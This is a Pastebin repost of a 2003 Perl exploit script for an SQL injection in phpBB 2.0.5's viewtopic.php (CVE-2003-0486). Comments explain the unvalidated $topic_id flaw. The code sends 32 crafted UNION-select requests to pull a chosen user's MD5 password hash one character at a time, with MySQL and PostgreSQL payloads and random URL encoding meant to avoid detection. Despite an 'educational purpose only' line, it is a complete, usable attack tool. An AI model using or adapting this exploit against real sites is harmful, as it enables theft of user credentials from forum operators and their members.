Advertisement
FlyFar

phpBB 2.0.5 - SQL Injection Password Disclosure - CVE-2003-0486

Feb 2nd, 2024
1,317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.87 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl -w
  2. #
  3. #
  4. # phpBB password disclosure vuln.
  5. # - rick patel
  6. #
  7. # There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id
  8. # which gets passed directly to sql server in query. Attacker could pass a special sql string which
  9. # can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with
  10. # autologin or cracked using john.
  11. #
  12. # Details:
  13. #
  14. # this is checking done for $topic_id in viewtopic.php:
  15. #
  16. # if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
  17. # {
  18. # $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
  19. # }
  20. # else if ( isset($HTTP_GET_VARS['topic']) )
  21. # {
  22. # $topic_id = intval($HTTP_GET_VARS['topic']);
  23. # }
  24. #
  25. # ok... no else statement at end :)
  26. # now if GET[view]=newest and GET[sid] is set, this query gets executed:
  27. #
  28. # $sql = "SELECT p.post_id
  29. # FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
  30. # WHERE s.session_id = '$session_id'
  31. # AND u.user_id = s.session_user_id
  32. # AND p.topic_id = $topic_id
  33. # AND p.post_time >= u.user_lastvisit
  34. # ORDER BY p.post_time ASC
  35. # LIMIT 1";
  36. #
  37. # $topic_id gets passed directy to query. So how can we use this to do something important? Well
  38. # I decided to use union and create a second query will get us something useful. There were couple of
  39. # problems i ran into. first, phpBB only cares about the first row returned. second, the select for first
  40. # query is p.post_id which is int, so int becomes the type returned for any other query in union. third,
  41. # there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end
  42. # of our injected query. So what query can we make that returns only int?
  43. # this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid
  44. # Then all we have to do is query 32 times which $index from 1-32 and we get ord value of all chars of
  45. # md5 hash password.
  46. #
  47. # I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak
  48. # the query to do anything useful.
  49. #
  50. # This script is for educational purpose only. Please dont use it to do anything else.
  51. #
  52. # To Fix this bug : http://www.phpbb.com/phpBB/viewtopic.php?t=112052
  53.  
  54. use IO::Socket;
  55.  
  56. $remote = shift || 'localhost';
  57. $view_topic = shift || '/phpBB2/viewtopic.php';
  58. $uid = shift || 2;
  59. $port = 80;
  60.  
  61. $dbtype = 'mysql4'; # mysql4 or pgsql
  62.  
  63.  
  64. print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
  65.  
  66. $p = "";
  67.  
  68. for($index=1; $index<=32; $index++)
  69. {
  70. $socket = IO::Socket::INET->new(PeerAddr => $remote,
  71. PeerPort => $port,
  72. Proto => "tcp",
  73. Type => SOCK_STREAM)
  74. or die "Couldnt connect to $remote:$port : $@\n";
  75. $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) .
  76.  "&view=newest" . " HTTP/1.0\n\n";
  77.  
  78. print $socket $str;
  79. print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it
  80. print $socket "Host: $remote\n\n";
  81.  
  82. while ($answer = <$socket>)
  83. {
  84. if ($answer =~ /Location:.*\x23(\d+)/) # Matches the Location: viewtopic.php?p=<num>#<num>
  85. {
  86. $p .= chr ($1);
  87. }
  88. }
  89.  
  90. close($socket);
  91. }
  92.  
  93. print "\nMD5 Hash for uid $uid is $p\n";
  94.  
  95. # random encode str. helps avoid detection
  96. sub random_encode
  97. {
  98. $str = shift;
  99. $ret = "";
  100. for($i=0; $i<length($str); $i++)
  101. {
  102. $c = substr($str,$i,1);
  103. $j = rand length($str) * 1000;
  104.  
  105. if (int($j) % 2 || $c eq ' ')
  106. {
  107. $ret .= "%" . sprintf("%x",ord($c));
  108. }
  109. else
  110. {
  111. $ret .= $c;
  112. }
  113. }
  114. return $ret;
  115. }
  116.  
  117. sub make_dbsql
  118. {
  119. if ($dbtype eq 'mysql4')
  120. {
  121. return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
  122. } elsif ($dbtype eq 'pgsql')
  123. {
  124. return ";
  125. select ascii(substring(user_password from $index for 1)) as
  126. post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
  127. }
  128. else
  129. {
  130. return "";
  131. }
  132. }
  133.  
  134.  
  135.  
  136. # milw0rm.com [2003-06-20]
  137.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement